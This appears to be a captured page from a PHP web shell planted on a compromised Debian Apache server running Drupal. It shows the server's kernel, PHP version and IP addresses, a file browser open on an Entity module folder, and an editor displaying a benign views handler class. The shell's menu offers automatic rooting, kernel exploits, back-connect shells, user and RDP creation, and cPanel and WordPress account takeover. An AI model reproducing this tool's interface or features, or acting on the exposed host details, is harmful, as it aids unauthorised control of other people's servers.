Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.224.64.51
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
entity /
views /
handlers /
[ HOME SHELL ]
Name
Size
Permission
Action
entity_views_field_handler_hel...
18.4
KB
-rw-r--r--
entity_views_handler_area_enti...
3.86
KB
-rw-r--r--
entity_views_handler_field_boo...
2.28
KB
-rw-r--r--
entity_views_handler_field_dat...
2.27
KB
-rw-r--r--
entity_views_handler_field_dur...
3.81
KB
-rw-r--r--
entity_views_handler_field_ent...
6.01
KB
-rw-r--r--
entity_views_handler_field_fie...
3.01
KB
-rw-r--r--
entity_views_handler_field_num...
2.27
KB
-rw-r--r--
entity_views_handler_field_opt...
3.27
KB
-rw-r--r--
entity_views_handler_field_tex...
2.33
KB
-rw-r--r--
entity_views_handler_field_uri...
2.3
KB
-rw-r--r--
entity_views_handler_relations...
1.63
KB
-rw-r--r--
entity_views_handler_relations...
3.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : entity_views_handler_field_duration.inc
<?php /** * @file * Contains the entity_views_handler_field_duration class. */ /** * A handler to provide proper displays for duration properties retrieved via data selection. * * This handler may only be used in conjunction with data selection based Views * tables or other base tables using a query plugin that supports data * selection. * * @see entity_views_field_definition() * @ingroup views_field_handlers */ class entity_views_handler_field_duration extends views_handler_field { /** * Stores the entity type of the result entities. */ public $entity_type; /** * Stores the result entities' metadata wrappers. */ public $wrappers = array(); /** * Stores the current value when rendering list fields. */ public $current_value; /** * Overridden to add the field for the entity ID (if necessary). */ public function query() { EntityFieldHandlerHelper::query($this); } /** * Adds a click-sort to the query. */ public function click_sort($order) { EntityFieldHandlerHelper::click_sort($this, $order); } /** * Load the entities for all rows that are about to be displayed. */ public function pre_render(&$values) { parent::pre_render($values); EntityFieldHandlerHelper::pre_render($this, $values); } /** * Overridden to use a metadata wrapper. */ public function get_value($values, $field = NULL) { return EntityFieldHandlerHelper::get_value($this, $values, $field); } public function option_definition() { $options = parent::option_definition(); $options += EntityFieldHandlerHelper::option_definition($this); $options['format_interval'] = array('default' => TRUE); $options['granularity'] = array('default' => 2); $options['prefix'] = array('default' => '', 'translatable' => TRUE); $options['suffix'] = array('default' => '', 'translatable' => TRUE); return $options; } public function options_form(&$form, &$form_state) { parent::options_form($form, $form_state); EntityFieldHandlerHelper::options_form($this, $form, $form_state); $form['format_interval'] = array( '#type' => 'checkbox', '#title' => t('Format interval'), '#description' => t('If checked, the value will be formatted as a time interval. Otherwise, just the number of seconds will be displayed.'), '#default_value' => $this->options['format_interval'], ); $form['granularity'] = array( '#type' => 'textfield', '#title' => t('Granularity'), '#default_value' => $this->options['granularity'], '#description' => t('Specify how many different units to display.'), '#dependency' => array('edit-options-format-interval' => array(TRUE)), '#size' => 2, ); $form['prefix'] = array( '#type' => 'textfield', '#title' => t('Prefix'), '#default_value' => $this->options['prefix'], '#description' => t('Text to put before the duration text.'), ); $form['suffix'] = array( '#type' => 'textfield', '#title' => t('Suffix'), '#default_value' => $this->options['suffix'], '#description' => t('Text to put after the duration text.'), ); } /** * Render the field. * * @param $values * The values retrieved from the database. */ public function render($values) { return EntityFieldHandlerHelper::render($this, $values); } /** * Render a single field value. */ public function render_single_value($value, $values) { if ($this->options['format_interval']) { $value = format_interval($value, (int) $this->options['granularity']); } // Value sanitization is handled by the wrapper, see // EntityFieldHandlerHelper::get_value(). return $this->sanitize_value($this->options['prefix'], 'xss') . $value . $this->sanitize_value($this->options['suffix'], 'xss'); } }
Close